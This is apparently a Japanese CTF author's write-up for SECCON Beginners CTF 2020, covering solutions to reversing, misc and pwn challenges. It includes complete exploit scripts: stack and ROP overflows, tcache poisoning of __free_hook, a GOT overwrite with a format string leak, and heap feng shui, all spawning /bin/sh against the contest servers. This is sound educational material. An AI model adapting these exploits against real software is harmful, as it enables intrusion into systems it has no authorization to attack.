CTFするぞ

CTF以外のことも書くよ

SECCON Beginners CTF 2020 作問者Writeup

はじめに

5月23日14:00から24時間、初心者向けのSECCON Beginners CTF 2020を開催しました。 といっても全問が初心者向けな訳ではなく、中級者でも難しいと感じるような問題もちらほらあったと思います。 また、CTFを本当に初めて触るという方にとってはBeginnerタグの付いた問題だけでも難しかったかと思います。

サーバーはしばらくは開放したままです。 参加するだけでなく復習しないと成長しませんので、是非解けなかった問題にも挑戦してください。

exploitやソースコードなどは後々運営が公式リポジトリに公開します。 →自分のは公開しました

bitbucket.org

[Misc 272pts] readme (71 solves)

任意のファイルを読めるプログラムで、 /home/ctf/flag を読めば良いという問題です。 しかし、絶対パスを使わないといけず、パスにctfが入ってはいけません。

/proc/{PID}というディレクトリにはプロセスに関する情報が豊富に含まれています。 特に、/proc/selfではオープン元のプロセスに関する情報が含まれています。

例えばcmdlineには次のようにコマンドライン情報が入っています。

$ cat /proc/self/cmdline
cat/proc/self/cmdline

今回の問題で利用するのは/proc/self/environ/proc/self/cwdです。 environでは環境変数が見られます。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=29557SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=124.41.115.112SOCAT_PEERPORT=52070

環境変数PWDにはカレントディレクトリ(今いる場所)が入っています。今回の場合は/home/ctf/serverです。

次に/proc/self/cwdが特殊で、それ以降のパスをカレントディレクトリに結合してくれます。 例えば今回の場合、/proc/self/cwd/server.py/home/ctf/server/server.pyと等価です。 これは/proc/self/cwd/以降に相対パスを使っても成り立ち、/proc/self/cwd/../flag/home/ctf/flagと等価になります。

したがって、次のようにフラグを得られます。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{XXXXXXXXXXXXXXXXXX}

/proc以下は私もすべてを把握できていないほど多くの情報があるので、是非調べてみてください。 (man procでマニュアルが読めます。)

[Rev 156pts] yakisoba (144 solves)

angrなどを使う問題を出そうと思って作りました。 シンボリック実行という手法を使うと、特定のパスに到達する入力を自動的に見つけることができます。 代表的なシンボリック実行ライブラリとしてはTritonやangrなどがあります。CTFではangrが優秀です。 次のように到達したいアドレスを与えると自動的に入力を割り出してくれます。

import angr
import claripy
from logging import getLogger, WARN

getLogger("angr").setLevel(WARN + 1)
getLogger("claripy").setLevel(WARN + 1)

flag = claripy.BVS("flag", 8 * 0x20)
p = angr.Project("../files/yakisoba", load_options={"auto_load_libs": False})
state = p.factory.entry_state(stdin=flag)
simgr = p.factory.simulation_manager(state)

simgr.explore(find=0x4006d2, avoid=0x4006f7)

try:
    found = simgr.found[0]
    print(found.solver.eval(flag, cast_to=bytes))
except IndexError:
    print("Not Found")

[Rev 279pts] ghost (68 solves)

C#Python中間言語のようなスタックマシンの問題を作りたくて出しました。 何にするか迷ったのですが、GhostScript(PostScript)にしました。

この問題の解き方はいろいろあって、簡単なのは実際に入力を入れて動かして1文字ずつ調べる方法です。 スクリプトを整形すると、次のようになります。

/flag 64 string def
/output 8 string def
(%stdin) (r) file

flag readline
not {
  (I/O Error\n) print
  quit
} if

0 1 2 index length {
  1 index 1 add 3 index 3 index get xor mul 1 463 {
    1 index mul 64711 mod
  } repeat
  exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
} repeat
(\n) print
quit

この辺の資料を参考に読みます。 基本的にスタックの様子を書きながら読むと分かりやすいです。 一番外のループがフラグの文字数文で、中のループは剰余付き累乗の処理をしています。 真面目に読むとやっていることは、

x = 1
for i, m in enumerate(flag):
  c = pow((m^(i+1))*x, 463, 64711)
  print(c, end=" ")
  x = (c % 128) + 1

みたいな感じです。 スタックマシンは基本的にスタックだけ置けばばよいので慣れると読みやすいと思います。

これは内部でRSAっぽい構造を持っているので、秘密鍵を計算してフラグを戻せます。

with open("../files/output.txt", "r") as f:
    ns = map(int, f.read().strip().split(' '))

mod = 163*397
d = 18151 # modinv(463, 162*396)

x = 1
flag = ""
for i, n in enumerate(ns):
    m = pow(n, d, mod)
    m //= x
    m ^= i + 1
    flag += chr(m)
    x = (n % 128) + 1

print(flag)

RSAに気づかなくても1文字ごと総当りでも解けます。

[Rev 410pts] sneaky (23 solves)

ゲームのチートをする問題を出そうと思って作りました。 Windowsにするか迷ったのですが、コロナで帰省していてWindowsマシンが無かったのでLinuxで動くゲームにしました。

gdbでアタッチできないのでIDAで読みます。 Linuxではptraceでアンチデバッグすることが多いので、sys_ptraceでptraceしている箇所を探します。 するとsub_472BF0がptraceであることが分かります。 ptraceを呼び出しているのはsub_400da0で、それを呼び出している場所をnopで埋めるとアンチデバッグを潰せます。 次にmain関数からゲームのメインループっぽいところを見ると、

lea     r13, aScoreD    ; "SCORE: %d"

という文字列があります。これを使っている箇所は

mov     rsi, [rbx+20h]
mov     rdi, r13
xor     eax, eax
call    sub_407F80

となっています。明らかに[rbx+0x20]がスコアなので、ここにブレークポイントを付けてスコアを大きい値に書き換えて継続するとフラグが表示されます。

[Pwn 134pts] Beginner's Stack (167 solves)

pwn未経験者でも解けるように工夫したstack bof問です。 Stack Overflowがあり、SSPは無効なので単純にリターンアドレスを書き換えれば良いです。 rspをalignする方法ですが、win関数の先頭のpushを飛ばしたり、ret gadgetを1つ挟んだりで解決できます。

from ptrlib import *

elf = ELF("../files/chall")
#sock = Process("../files/chall")
sock = Socket("bs.quals.beginners.seccon.jp", 9001)
rop_ret = 0x00400626

payload  = b'A' * 0x28
payload += p64(rop_ret)
payload += p64(elf.symbol('win'))
sock.sendafter("Input: ", payload)
sock.recv()

sock.interactive()

pwnの基礎を知っていれば絶対に解けるように、スタックの状態を表示したりrspがalignされていない場合に警告を出したり工夫しました。 が、printf+ncで解こうとした方が一定数いたらしく、シェルが起動しているのに気づかなかったようです。 (catとかでstdinを保持すればそれでも解けます。) うーん、ncでpwnするのは面倒だしアドレスリークができないので、pwntoolsとかに慣れてほしいです。

[Pwn 293pts] Beginner's Heap (62 solves)

pwn未経験者でも解けるように工夫したheap bof問です。 ヒントがあるのでそれを使って解いていきましょう。

まずはmallocされたチャンクの構造についてです。チャンクは次のような構造でヒープ上に並んでいます。

+-----------+-----------+
| prev_size |      size |
+-----------+-----------+
| user data             |
|                       |
|                       |
+-----------+-----------+
| prev_size |      size |
+-----------+-----------+
| user data             |
|                       |
|                       |
+-----------------------+

ここでprev_sizeの部分はfreeされていない場合前のチャンクのuser dataとして使われています。 また、sizeはprev_sizeからuser dataの終端までのサイズで、下位3ビットは特殊な使われ方をしています。(ここでは詳しくは説明しませんが)

Describe Heapでこれを確認しましょう。

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 2
AAAABBBB
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x559c1d9f3330
 [+] B = 0x559c1d9f3350

                   +--------------------+
0x0000559c1d9f3320 | 0x0000000000000000 |
                   +--------------------+
0x0000559c1d9f3328 | 0x0000000000000021 |
                   +--------------------+
0x0000559c1d9f3330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000559c1d9f3338 | 0x0000000000000000 |
                   +--------------------+
0x0000559c1d9f3340 | 0x0000000000000000 |
                   +--------------------+
0x0000559c1d9f3348 | 0x0000000000000021 |
                   +--------------------+
0x0000559c1d9f3350 | 0x4242424241414141 | <-- B
                   +--------------------+
0x0000559c1d9f3358 | 0x000000000000000a |
                   +--------------------+
0x0000559c1d9f3360 | 0x0000000000000000 |
                   +--------------------+
0x0000559c1d9f3368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

0x21となっている部分がsizeですね。これはfreeする際に確認されるので壊さないように注意しましょう。 0x20じゃなくて0x21になっているのは、下位1ビットはprev_inuseというビットで使われているからです。 これは名前の通り、前のチャンクが使用中のときに立ちます。(まぁいろいろ条件はありますが。)

Bをfreeすると次のようになります。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x56119ee5f330
 [+] B = (nil)

                   +--------------------+
0x000056119ee5f320 | 0x0000000000000000 |
                   +--------------------+
0x000056119ee5f328 | 0x0000000000000021 |
                   +--------------------+
0x000056119ee5f330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000056119ee5f338 | 0x0000000000000000 |
                   +--------------------+
0x000056119ee5f340 | 0x0000000000000000 |
                   +--------------------+
0x000056119ee5f348 | 0x0000000000000021 |
                   +--------------------+
0x000056119ee5f350 | 0x0000000000000000 |
                   +--------------------+
0x000056119ee5f358 | 0x000000000000000a |
                   +--------------------+
0x000056119ee5f360 | 0x0000000000000000 |
                   +--------------------+
0x000056119ee5f368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 5
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000056119ee5f350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bがtcacheに繋がっています。 あとで同じサイズのmallocが呼ばれたとき、このtcacheにチャンクが繋がっていればそこから取り出すように設計されています。

Bの先頭8バイトが0になっていますが、これはfdと呼ばれるポインタです。tcacheのリンクを管理しています。 したがって、AのオーバーフローでBのfdを書き換えることで、tcacheを__free_hookに向けることができます。

__free_hookはfree関数実行時に呼ばれる関数ポインタです。 そのため、ここにwin関数のアドレスを書き込めたらOKです。

今回もfreeされたBのfdを__free_hookに向ければ良いのですが、Bのヘッダにあるsizeに注意する必要があります。 サイズを壊さないように0x21のままにしてfdだけ書き換えると、次のような状態になります。

tcache[for 0x20] --> B --> __free_hook

しかし次にBをmallocした後にもう一度mallocできないので、__free_hookに対しては何もできません。 そこで、Bのサイズを0x31など別の(tcacheとして有効な)サイズに変更するとBをmallocしてfreeしたときに次のような状態になります。

tcache[for 0x30] --> B
tcache[for 0x20] --> __free_hook

Bはfree済みなのでmalloc(0x18)でき、無事__free_hookを獲得できます。 後はwinのアドレスを書き込んでfreeすれば終了です。

from ptrlib import *
import time

def write(data):
    sock.sendlineafter("> ", "1")
    time.sleep(0.1)
    sock.send(data)
def malloc(data):
    sock.sendlineafter("> ", "2")
    time.sleep(0.1)
    sock.send(data)
def free():
    sock.sendlineafter("> ", "3")

sock = Process("../build/chall", cwd="../build")
#sock = Socket("bh.quals.beginners.seccon.jp", 9002)

# leak
sock.recvuntil(": ")
addr_free_hook = int(sock.recvline(), 16)
sock.recvuntil(": ")
addr_win = int(sock.recvline(), 16)
logger.info("__free_hook = " + hex(addr_free_hook))
logger.info("win = " + hex(addr_win))

# overwrite fd
payload = b"A" * 0x18
payload += p64(0x30)
payload += p64(addr_free_hook)
malloc("Hello")
free()
write(payload)

# get __free_hook
malloc("Hello")
free()

# overwrite __free_hook
malloc(p64(addr_win))
free()

sock.interactive()

ややこしいかもしれませんが、最初のうちはtcacheの図を書いてみると分かりやすいと思います。

[Pwn 429pts] Elementary Stack (18 solves)

自明な範囲外書き込みがあるバイナリとソースコード、libcも渡されます。 whileから抜ける手段が無いので今回はリターンアドレスを書き換えても意味がありません。 ここで、readlineに使われるバッファがmallocで確保され、ポインタが渡されていることに注目します。 このポインタもスタック上に存在するので、それを範囲外書き込みで上書きでき、readlineなどが呼ばれるときに任意アドレス書き込みを作れます。

ここまでできてatoi@gotをsystemにしたいけどlibcのアドレスが分からない、という方は多かったかもしれません。 そういう時はatoiをprintfに向けてFormat String Bugを引き起こすという方法があります。 FSBでlibcのアドレスをリークできるので今度こそatoiをsystemに向けられます。

from ptrlib import *

libc = ELF("../files/libc-2.27.so")
elf = ELF("../files/chall")
#sock = Process("../files/chall")
sock = Socket("es.quals.beginners.seccon.jp", 9003)
delta = 0xe7

# overwrite buf-->atol
sock.sendlineafter(": ", "-2")
sock.sendlineafter(": ", str(elf.got("malloc")))

# overwrite atol@got-->printf@plt
sock.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.plt("printf")))
sock.sendlineafter(": ", "%25$p")
libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - delta
logger.info("libc = " + hex(libc_base))

# overwrite atol@got-->system
sock.sendlineafter(": ", p64(0xdeadbeef) + p64(libc_base + libc.symbol("system")))
sock.sendafter(": ", "/bin/sh\0")

sock.interactive()

これなんで18チームしか解いてないんですか......🥺🥺🥺

[Pwn] flip, ChildHeap

flipとChildHeapはしふくろさんの作問ですが、作問チェックの時に書いたexploitだけ載っけておきます。

flip

2ビットflipできるのでexitをstartに向けて無限にflipできるようにします。 setbufをputsとかに書き換えてstdinとかをずらせばlibc leakできて、あとは適当にGOTをone gadgetなどに向けて終了です。

が、作問チェックしたときの私は頭が回ってなかったので面倒な方法で解きました。 なんかgetlongの途中に飛ぶとrbpがいい感じの場所を指していて、上手いことスタックに偽のサイズとかポインタを置くと上手いことROPできました。

from ptrlib import *

def flip_bits(address, bitList):
    sock.sendlineafter(">> ", str(address))
    for nbit in bitList:
        sock.sendlineafter(">> ", str(nbit))
    return

elf = ELF("../files/flip")
libc = ELF("../files/libc-2.27.so")
sock = Process("../files/flip")

rop_ret = 0x00400646
rop_pop_rdi = 0x004009e3
rop_pop_rsi_r15 = 0x004009e1
rop_pop_rbp = 0x00400748
rop_leave = 0x004008a7

# Get infinite flip
flip_bits(elf.got("exit"), [4, 5]) # exit --> start+6
flip_bits(elf.got("exit"), [1, 2]) # start+6 --> start

# Jump before calling getnline in getlong
for i, b in enumerate(bin(0x400676 ^ 0x400945)[2:][::-1]):
    x, y = i // 8, i % 8
    if b == '1':
        flip_bits(elf.got("__stack_chk_fail") + x, [-1, y])
flip_bits(elf.got("exit"), [4, 7]) # start --> __scf --> getlong+37

# ROP: stage 1
payload  = p64(rop_pop_rsi_r15)
payload += p64(0x10000)
payload += p64(0xdeadbeef)
payload += p64(elf.symbol("getnline")) # rdi = near rsp
sock.send(payload)

# ROP: stage 2 (leak libc)
payload  = p64(rop_ret) # rbp-0x18 --> new buffer
payload += p64(rop_ret) * 0x10 # ret sled
payload += p64(rop_pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
payload += p64(rop_pop_rdi)
payload += p64(elf.section(".bss") + 0x400)
payload += p64(rop_pop_rsi_r15)
payload += p64(0x10000)
payload += p64(0xdeadbeef)
payload += p64(elf.symbol("getnline"))
payload += p64(rop_pop_rbp)
payload += p64(elf.section(".bss") + 0x400 - 8)
payload += p64(rop_leave)
sock.sendline(payload[1:])
sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

# ROP: stage 3 (get the shell!)
payload  = p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.sendline(payload)

sock.interactive()

👆の解き方は圧倒的に難しいことをしてるので正攻法を知りたい方は運営の公式リポジトリを待ってください。 いやでも3チームしか解いてないのおかしくないか🤔

ChildHeap

off-by-nullがあるがチャンク1個しか保持できないので頑張ってheap feng shuiする。 ヒープアドレスは取れるので、unlinkで落ちないようにfdとbkを書き込んだ偽のチャンクとbackward consolidateさせてoverlapできる。 あとは__free_hookをsystemに書き換えて終わり。

from ptrlib import *

def alloc(size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def delete(option):
    sock.sendlineafter("> ", "2")
    sock.recvuntil(": '")
    note = sock.recvuntil("'")[:-1]
    sock.sendlineafter("] ", option)
    return note
def wipe():
    sock.sendlineafter("> ", "3")

libc = ELF("./libc-2.29.so")
sock = Socket("localhost", 9999)

# (partially) evict tcache
alloc(0xf8, "Hello")
delete('y')
wipe()
for i in range(5):
    alloc(0x18, "A")
    delete('y')
    wipe()
    alloc(0x108, "B")
    delete('y')
    wipe()
    alloc(0x18, "A" * 0x18)
    wipe()
    alloc(0x108, "B")
    delete('y')
    wipe()

# leak heap
alloc(0xf8, "hoge")
delete('y')
heap_base = u64(delete('n')) - 0x710
logger.info("heap = " + hex(heap_base))
wipe()

# prepare fake chunk for backward consolidate
fake_chunk  = b'A' * 0x30
fake_chunk += p64(heap_base + 0x9b0) + p64(heap_base + 0x9b0)
fake_chunk += p64(0) + p64(0x100)
fake_chunk += p64(heap_base + 0x990) + p64(heap_base + 0x990)
alloc(0x18, "A")
delete('y')
wipe()
alloc(0x108, "B")
delete('y')
wipe()
alloc(0x18, "A" * 0x18)
wipe()
alloc(0x108, fake_chunk)
delete('y')
wipe()

# chunk overlap
alloc(0x38, "A")
delete('y')
wipe()
alloc(0x108, "B")
delete('y')
wipe()
alloc(0x28, (p64(0)+p64(0x21))*0x2)
wipe()
alloc(0x38, b'A'*0x30 + p64(0x100))
delete('y')
wipe()
alloc(0x108, (p64(0)+p64(0x21))*0x10)
delete('y')
wipe()

# libc leak
alloc(0, "")
libc_base = u64(delete('n')) - libc.main_arena() - 0x250
logger.info("libc = " + hex(libc_base))
delete('y')
wipe()

# house of spirit
payload = b'A' * 0xa0
payload += p64(libc_base + libc.symbol('__free_hook'))
payload += p64(heap_base + 0x10)
alloc(0x128, payload)
wipe()
alloc(0x38, "hoge")
wipe()
alloc(0x38, p64(libc_base + libc.symbol('system')))
wipe()

# get the shell!
alloc(0x48, "/bin/sh")
delete('y')

sock.interactive()

こっちの方がflipより難しいと思うけどなぁ......